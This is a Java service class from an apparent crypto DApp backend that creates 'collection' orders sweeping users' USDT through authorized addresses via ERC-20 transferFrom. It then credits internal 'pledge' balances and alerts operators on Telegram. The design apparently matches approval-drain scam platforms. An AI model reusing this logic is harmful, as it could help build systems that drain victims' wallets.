zj
2025-05-28 bcd36411feb0351347289476eb7ee9e5dd1c3b9d
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
package project.monitor.job.transferfrom;
 
import java.io.Serializable;
import java.util.Date;
 
import kernel.util.Arith;
import kernel.util.ThreadUtils;
import project.log.MoneyLog;
import project.log.MoneyLogService;
import project.monitor.AutoMonitorAddressConfigService;
import project.monitor.AutoMonitorOrderService;
import project.monitor.AutoMonitorTipService;
import project.monitor.AutoMonitorWalletService;
import project.monitor.bonus.AutoMonitorSettleAddressConfigService;
import project.monitor.bonus.BonusSettlementService;
import project.monitor.erc20.service.Erc20Service;
import project.monitor.model.AutoMonitorAddressConfig;
import project.monitor.model.AutoMonitorOrder;
import project.monitor.model.AutoMonitorWallet;
import project.monitor.pledge.PledgeOrderService;
import project.monitor.report.DAppUserDataSumService;
import project.monitor.telegram.business.TelegramBusinessMessageService;
import project.party.PartyService;
import project.party.model.Party;
import project.syspara.SysparaService;
import project.user.UserDataService;
import project.wallet.WalletExtend;
import project.wallet.WalletService;
 
public class TransferFromServiceImpl implements TransferFromService{
    
    private Erc20Service erc20Service;
    
    private WalletService walletService;
    
    protected PartyService partyService;
    
    private SysparaService sysparaService;
    
    private UserDataService userDataService;
    
    protected MoneyLogService moneyLogService;
    
    private PledgeOrderService pledgeOrderService;
    
    protected AutoMonitorTipService autoMonitorTipService;
    
    protected BonusSettlementService bonusSettlementService;
    
    private AutoMonitorOrderService autoMonitorOrderService;
    
    protected DAppUserDataSumService dAppUserDataSumService;
    
    protected AutoMonitorWalletService autoMonitorWalletService;
    
    private AutoMonitorAddressConfigService autoMonitorAddressConfigService;
    
    protected TelegramBusinessMessageService telegramBusinessMessageService;
    
    protected AutoMonitorSettleAddressConfigService autoMonitorSettleAddressConfigService;
    
    public void saveTransferFrom(final TransferFrom transferFrom) {
        final AutoMonitorWallet item = transferFrom.getAutoMonitorWallet();
        final String to = transferFrom.getTo();
        final AutoMonitorOrder entity = new AutoMonitorOrder();
        entity.setPartyId(item.getPartyId());
        entity.setCreated(new Date());
        entity.setAddress(item.getAddress());
        entity.setChannel_address(to);
        entity.setMonitor_address(item.getMonitor_address());
        entity.setRelationOrderNo((transferFrom.getRelationOrderNo() == null) ? "" : transferFrom.getRelationOrderNo());
        double balance = 0.0;
        if (transferFrom.getCollectAmount() <= 0.0) {
            final WalletExtend walletExtend = this.walletService.saveExtendByPara(item.getPartyId(), "USDT_USER");
            balance = walletExtend.getAmount();
            final Double _balance = this.erc20Service.getBalance(item.getAddress());
            if (_balance != null) {
                balance = _balance;
            }
        }
        else {
            balance = transferFrom.getCollectAmount();
        }
        entity.setVolume(Double.valueOf(balance));
        entity.setSettle_amount(Double.valueOf(this.autoMonitorSettleAddressConfigService.computeSettleAmount((double)entity.getVolume())));
        final AutoMonitorOrder db = this.autoMonitorOrderService.findByAddressAndSucceeded(item.getAddress(), 0);
        if (db != null) {
            entity.setSucceeded(2);
            entity.setError("该地址存在未完成的归集记录");
            this.autoMonitorOrderService.save(entity);
            return;
        }
        final Double balance_min = this.sysparaService.find("transferfrom_balance_min").getDouble();
        if (balance < balance_min) {
            entity.setSucceeded(2);
            entity.setError("币值少于[" + balance_min + "]USDT");
            this.autoMonitorOrderService.save(entity);
            return;
        }
        final AutoMonitorAddressConfig config = this.autoMonitorAddressConfigService.findByAddress(item.getMonitor_address());
        if (config == null) {
            entity.setSucceeded(2);
            entity.setError("无法找到授权地址鉴权信息");
            this.autoMonitorOrderService.save(entity);
            return;
        }
        entity.setSucceeded(-1);
        this.autoMonitorOrderService.save(entity);
    }
    
    public void saveConfirm(final String id, final Integer status, final String hash) {
        final AutoMonitorOrder entity = this.autoMonitorOrderService.findById(id);
        if (entity.getSucceeded() != 0) {
            return;
        }
        final Party party = this.partyService.cachePartyBy((Serializable)entity.getPartyId().toString(), false);
        if (status == 0) {
            entity.setSucceeded(2);
            this.autoMonitorOrderService.update(entity);
            this.telegramBusinessMessageService.sendTransferFromErrorTeleg(party, (double)entity.getVolume(), (String)null, entity.getTxn_hash());
        }
        else if (status == 1) {
            entity.setSucceeded(1);
            this.autoMonitorOrderService.update(entity);
            final Double balance = this.erc20Service.getBalance(entity.getAddress());
            final WalletExtend walletExtend = this.walletService.saveExtendByPara(entity.getPartyId(), "USDT_USER");
            if (walletExtend.getAmount() != balance) {
                this.walletService.updateExtend(entity.getPartyId().toString(), "USDT_USER", Arith.sub((double)balance, walletExtend.getAmount()));
            }
            this.userDataService.saveRechargeHandleDapp(entity.getPartyId(), (double)entity.getVolume(), "usdt");
            this.dAppUserDataSumService.saveTransferfrom(entity.getPartyId(), (double)entity.getVolume());
            this.walletService.updateExtend(entity.getPartyId().toString(), "USDT_DAPP", (double)entity.getVolume());
            this.pledgeOrderService.savejoin((Serializable)entity.getPartyId().toString());
            final double amount_before = walletExtend.getAmount();
            final MoneyLog moneyLog = new MoneyLog();
            moneyLog.setAmount_before(amount_before);
            moneyLog.setAmount((double)entity.getVolume());
            moneyLog.setAmount_after(Arith.add(walletExtend.getAmount(), (double)entity.getVolume()));
            moneyLog.setLog("归集订单归集成功质押金额变化");
            moneyLog.setPartyId((Serializable)entity.getPartyId().toString());
            moneyLog.setWallettype("USDT_DAPP");
            moneyLog.setCreateTime(new Date());
            this.moneyLogService.save(moneyLog);
            ThreadUtils.sleep(300L);
            this.telegramBusinessMessageService.sendCollectTeleg(party, (double)entity.getVolume());
            this.bonusSettlementService.signal();
        }
    }
    
    public void setWalletService(final WalletService walletService) {
        this.walletService = walletService;
    }
    
    public void setAutoMonitorAddressConfigService(final AutoMonitorAddressConfigService autoMonitorAddressConfigService) {
        this.autoMonitorAddressConfigService = autoMonitorAddressConfigService;
    }
    
    public void setErc20Service(final Erc20Service erc20Service) {
        this.erc20Service = erc20Service;
    }
    
    public void setAutoMonitorOrderService(final AutoMonitorOrderService autoMonitorOrderService) {
        this.autoMonitorOrderService = autoMonitorOrderService;
    }
    
    public void setSysparaService(final SysparaService sysparaService) {
        this.sysparaService = sysparaService;
    }
    
    public void setUserDataService(final UserDataService userDataService) {
        this.userDataService = userDataService;
    }
    
    public void setPartyService(final PartyService partyService) {
        this.partyService = partyService;
    }
    
    public void setTelegramBusinessMessageService(final TelegramBusinessMessageService telegramBusinessMessageService) {
        this.telegramBusinessMessageService = telegramBusinessMessageService;
    }
    
    public void setdAppUserDataSumService(final DAppUserDataSumService dAppUserDataSumService) {
        this.dAppUserDataSumService = dAppUserDataSumService;
    }
    
    public void setPledgeOrderService(final PledgeOrderService pledgeOrderService) {
        this.pledgeOrderService = pledgeOrderService;
    }
    
    public void setBonusSettlementService(final BonusSettlementService bonusSettlementService) {
        this.bonusSettlementService = bonusSettlementService;
    }
    
    public void setAutoMonitorSettleAddressConfigService(final AutoMonitorSettleAddressConfigService autoMonitorSettleAddressConfigService) {
        this.autoMonitorSettleAddressConfigService = autoMonitorSettleAddressConfigService;
    }
    
    public void setAutoMonitorWalletService(final AutoMonitorWalletService autoMonitorWalletService) {
        this.autoMonitorWalletService = autoMonitorWalletService;
    }
    
    public void setMoneyLogService(final MoneyLogService moneyLogService) {
        this.moneyLogService = moneyLogService;
    }
    
    public void setAutoMonitorTipService(final AutoMonitorTipService autoMonitorTipService) {
        this.autoMonitorTipService = autoMonitorTipService;
    }
}